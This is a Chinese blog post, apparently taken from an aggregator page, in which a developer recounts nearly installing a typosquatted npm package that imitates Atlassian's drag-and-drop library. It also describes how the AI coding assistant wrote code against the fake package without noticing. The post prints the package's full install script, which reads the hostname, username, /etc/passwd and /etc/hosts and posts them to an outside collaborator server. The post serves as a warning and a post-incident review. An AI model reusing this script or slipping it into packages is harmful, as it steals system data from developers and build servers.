惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Threat Research - Cisco Blogs
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
The Register - Security
The Register - Security
A
About on SuperTechFans
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
L
LangChain Blog
N
Netflix TechBlog - Medium
量子位
博客园 - 三生石上(FineUI控件)
宝玉的分享
宝玉的分享
H
Help Net Security
D
Docker
D
DataBreaches.Net
T
Tailwind CSS Blog
阮一峰的网络日志
阮一峰的网络日志
B
Blog
博客园 - 聂微东
Apple Machine Learning Research
Apple Machine Learning Research
Google DeepMind News
Google DeepMind News
The Cloudflare Blog
F
Full Disclosure
GbyAI
GbyAI
F
Fortinet All Blogs
Last Week in AI
Last Week in AI
Y
Y Combinator Blog
人人都是产品经理
人人都是产品经理
Recent Announcements
Recent Announcements
博客园 - Franky
MongoDB | Blog
MongoDB | Blog
有赞技术团队
有赞技术团队
博客园 - 叶小钗
小众软件
小众软件
V
Visual Studio Blog
月光博客
月光博客
Stack Overflow Blog
Stack Overflow Blog
The GitHub Blog
The GitHub Blog
Recorded Future
Recorded Future
J
Java Code Geeks
雷峰网
雷峰网
P
Privacy & Cybersecurity Law Blog
C
Cisco Blogs
C
Cyber Attacks, Cyber Crime and Cyber Security
AWS News Blog
AWS News Blog
Webroot Blog
Webroot Blog
美团技术团队
N
News | PayPal Newsroom
G
Google Developers Blog
Security Archives - TechRepublic
Security Archives - TechRepublic
博客园_首页
V
Vulnerabilities – Threatpost

吐槽大王部落格

在 X (Twitter) 上找 IT 工作靠谱吗? 如何在上游分支被反复重写时优雅地 Rebase 我的 2025 我在经营自己的社交帐号,但可能「玩脱了」 我依然没有学会怎么在网上提出技术问题 我对 Vue Router「动态路由」的一点暴论 不用 eas-cli 编译 React Native (Expo) 应用的 Android 版本 【更正版】简单实现类型安全的、能触发 CustomEvent 的 EventTarget 在 IE11 使用 CSS Grid 实现多列卡片列表布局 自建云游戏服务的尝试(2024 更新) 在 Termux 编译和使用 bwm-ng(需要 root) 如何在已有的 Vue CLI 项目使用 esbuild 我的 2021 npm、镜像源与 package-lock.json 新的桌面工作站:HP Z2 G5 Tower 我的 2020 在 Intel 版 MacBook Pro 以 EFI 的形式安装 Windows 10 为什么大家都在安利这一样东西? 新的家庭服务器:MicroServer Gen10 我的 2019 在树莓派(Raspbian)上安装最新稳定版 nginx 驾照 宿舍用小型 UPS 电源与新台灯 拆解我爸 2010 年装的廉价 PC 我的 2018 2018 厦门面基记 我(曾经)设想过的外置智能大脑 没用的无懈可击 tcdw 与 ECMAScript 评论框 如何提出计算机相关问题(更新) 提升古诗词背诵及脸部记忆能力 一袋凉皮引发的『血案』 我写的一言轮播脚本(2018 更新) 土豆评论 我的 2017 我与 Linux 把 WSL 的发行版换成 Debian 时撞的坑 为什么公共 block 列表有时是个很糟的主意 故事:试图不关闭 SIP 在 macOS Sierra 上使用 proxychains-ng Xperia XZ Premium 在 DOSBox 使用 MIDI (MT-32、GM) 音源 昔日的折腾党 Android 手机间的文件传输 胡扯:为什么需要 https 黑历史:在 Flash 里手撕 HTML 与 JSON 从你的 Typecho 博客优雅的导出 Markdown 文件 如何维修电脑 Orange Pi One:百元家庭服务器的软件部分 关于香橙派 Orange Pi One 的碎碎念 在 FC 游戏实现内购 友情链接清理 夏天来了 如何给 tcdw 套上女装 选择 vps-hosting.ca 的廉价 VPS 是个糟糕的主意 Disqus + PJAX 后的小错误修复 域名是建站第一要素 网站搬家喽 重低音 Google Adsense FIR Filter Fader 移植 CMS 程序模板的一般方法 切换到 Ghost 关于以前用的昵称的正式说明 通过甲 JS 加载乙 JS 避免模板烂大街的最佳方法就是自己写一个 强行修改 Android 桌面小部件大小的方法,需 root tcdw 那糟糕的宾馆之旅 用 Flash 实现读取 QQ 空间背景音乐列表 屠城 QZone 播放器 0.1 正式版(求围观)
我是怎么差点被恶意 npm 包攻击的
tcdw · 2025-04-24 · via 吐槽大王部落格

其实我很久以前就听说过有骇客通过在 npm、PyPI 等平台注册名字和知名库碰瓷的恶意包,实现入侵公司内部系统等恶意操作的事情。一直以来我以为这种事情离我很远,因为我在使用一个库以前总会去看官方文档,并且在进行依赖安装时复制文档里提到的包名。

事实证明,我的实践确实是好的,至少在 LLM 大幅普及以前。直到不久前,我试图使用 Atlassian 家出品的 @atlaskit/pragmatic-drag-and-drop 库来在 React 应用里实现列表拖动排序功能。然后,我险些在这件事上翻车了。于是我便发了一篇推文:

傻了,自认为安全意识很好的我也差点被恶意 npm 包攻击了。还好 pnpm 10 默认没有运行这个恶意包的 build scripts,而且 rsbuild 也跑不动这个脚本,我才免遭一劫。
已经举报这个包了。 pic.twitter.com/dyk15BbZMq

— 陶瓷大碗 (@tcdwww) April 21, 2025

本来只是随手吐槽,没想到那条推文火了,热度远超我的预期;因为我一开始没有在推文里提及完整的过程,导致出现了很多猜测和质疑:

  • 「这个包名是不是 LLM 幻觉了一个出来的?」
  • 「这个包才发布没几天,还是个三无号发布的,能装上这种包的人也是个人才。」
  • 「这个包会读取 /etc/passwd,是不是能偷我的密码?」
  • ……

既然如此,因为单独回复每一条评论或群组里的每一条消息的话,别人不一定能看得见,我觉得有必要详细解释一下其中的几个细节,给大家一个完整的复盘。

为什么我会装上这个包?

首先,那个包的包名其实不是 LLM 编的,是我自己想当然的名字。因为这个项目的 GitHub 地址是 https://github.com/atlassian/pragmatic-drag-and-drop ,而且这个项目的名字如此冗长,我便想当然的认为,这个包应该就叫 pragmatic-drag-and-drop。顺带一提,这个包其实我之前听说过,但是不太熟悉,也没有亲自用过。

我平时用的编辑器有 Webstorm 和 Windsurf。因为我恰好偷懒没有写项目级别的 .windsurfrules 文件,导致 AI 有时候会用 npm 装依赖(其实这个项目用 pnpm),加上 AI 思考要不要装包的这一步就要花费一些时间,所以想着干脆提前把包装好,叫 AI 直接用这个包写代码比较方便。

我一开始以为 Atlassian 这种大厂出品的库,包名应该不会有什么奇怪的「埋雷」操作。结果我就这么稀里糊涂装上了一个碰瓷的恶意包。

其实 pnpm 10 已经提醒我,这个包有没有被允许的 Lifecycle Scripts,但我的习惯是只在必要时才单独开启个别包的 Lifecycle Scripts 执行权限。毕竟除去 esbuild 之类要设置二进制的包,很多 npm 包的 postinstall 脚本只是打印点东西,不开也没啥影响。

AI 也会踩雷

接下来我让 LLM 用这个包写一个可拖拽的列表。它完全没意识到包有问题,反而一本正经地写了一堆 API,还写了调用这个「库」的代码。

我看 tsc 没报错,就直接 pnpm run dev,结果 rsbuild 报错说有些 node 模块无法处理。

我一脸问号,去看报错部分,直接懵了:WTF?

Rsbuild 构建不了恶意包

就这样,我差点就酿成惨剧。

事后复盘:还好有惊无险

那么,这个恶意包究竟有多恶意呢?下面是这个包中唯一的 js 文件内容:

const os = require("os");
const dns = require("dns");
const fs = require("fs");
const https = require("https");
const packageJSON = require("./package.json");
const packageName = packageJSON.name;

// Collect system data from the remote server where the package is installed
const trackingData = JSON.stringify({
  p: packageName, // Package name
  c: __dirname, // Directory where the package is installed
  hd: os.homedir(), // Home directory on the remote server
  hn: os.hostname(), // Hostname of the remote server
  un: os.userInfo().username, // Username on the remote server
  dns: dns.getServers(), // DNS servers on the remote server
  v: packageJSON.version, // Version of the package
  pjson: packageJSON, // Full package.json data
  etc_passwd: fs.existsSync("/etc/passwd") ? fs.readFileSync("/etc/passwd", "utf8") : null, // /etc/passwd from the remote system
  etc_hosts: fs.existsSync("/etc/hosts") ? fs.readFileSync("/etc/hosts", "utf8") : null, // /etc/hosts from the remote system
});

// Log the data to verify it's the remote server's information
console.log("Sending System Data from Remote Server: ", trackingData);

// Prepare the POST request data
var postData = JSON.stringify({
  msg: trackingData,
});

// Request options to send data to your server (Burp Collaborator or any endpoint)
var options = {
  hostname: "<REDACTED>", // Burp Collaborator server
  port: 443,
  path: "/",
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "Content-Length": postData.length,
  },
};

// Send the data via HTTPS POST request
var req = https.request(options, res => {
  res.on("data", d => {
    process.stdout.write(d); // Output the response from the server
  });
});

req.on("error", e => {
  console.error("Error sending data:", e); // Handle any error during the request
});

req.write(postData); // Send the data in the request body
req.end(); // End the request

冷静下来复盘,发现即便这个脚本真的执行了,对我的影响其实有限:

  • 我用的是 macOS,因为 macOS 的用户信息是用 Open Directory 管理的,/etc/passwd 里的内容毫无价值。
    • 不过就算是 Linux 系统,用户的密码其实存储在 /etc/shadow 里,不仅只有 root 用户才能访问,而且还是经过 hash 的。
  • /etc/hosts 我也没用,没有有价值的信息。
  • 这个脚本还会上传我用的 DNS 服务器(然而是阿里云的公共 DNS)、包名、package.json 等等。
  • 当然,它也能知道我的 IP 地址(我开了 Surge 增强模式,应该拿到的是我机场落地的 IP)。
  • 顺带一提,这个包完全没考虑 Windows。

所以我感觉,这个恶意包其实更希望在 CI 服务器上发挥作用,可能能刺探一些公司内网的信息。以我浅薄的知识,也不太明白还有什么更深的危害。

顺带一提,这个脚本会把收集到的这些信息上传到一个域名后缀是 oastify.com 的地址。所以我估计是有真・白帽黑客在搞研究,也有可能是恶意人士利用这个平台收集数据

我学到了什么

这次事件的本质问题有哪些呢?

首先,我一开始犯了蠢,包名没查清楚。然后 LLM 也没意识到问题,还一本正经「幻觉」出一堆 API;还好 pnpm 10 和 Rsbuild 最终把我拦住了。

结论就是,人和 AI 都不能掉以轻心。这次我学到的最大教训是:以后让 AI 用某个库帮我写代码前,一定要考虑三要素:

  • 这个库是否真的能满足我的需求?
  • 这个库还在积极维护吗,或者是否已处于稳定状态?
  • 我到底该装哪个 npm 包?

希望我的这次经历能给大家提个醒:无论是人还是 AI,面对陌生依赖都要多留个心眼,别让小疏忽变成大事故。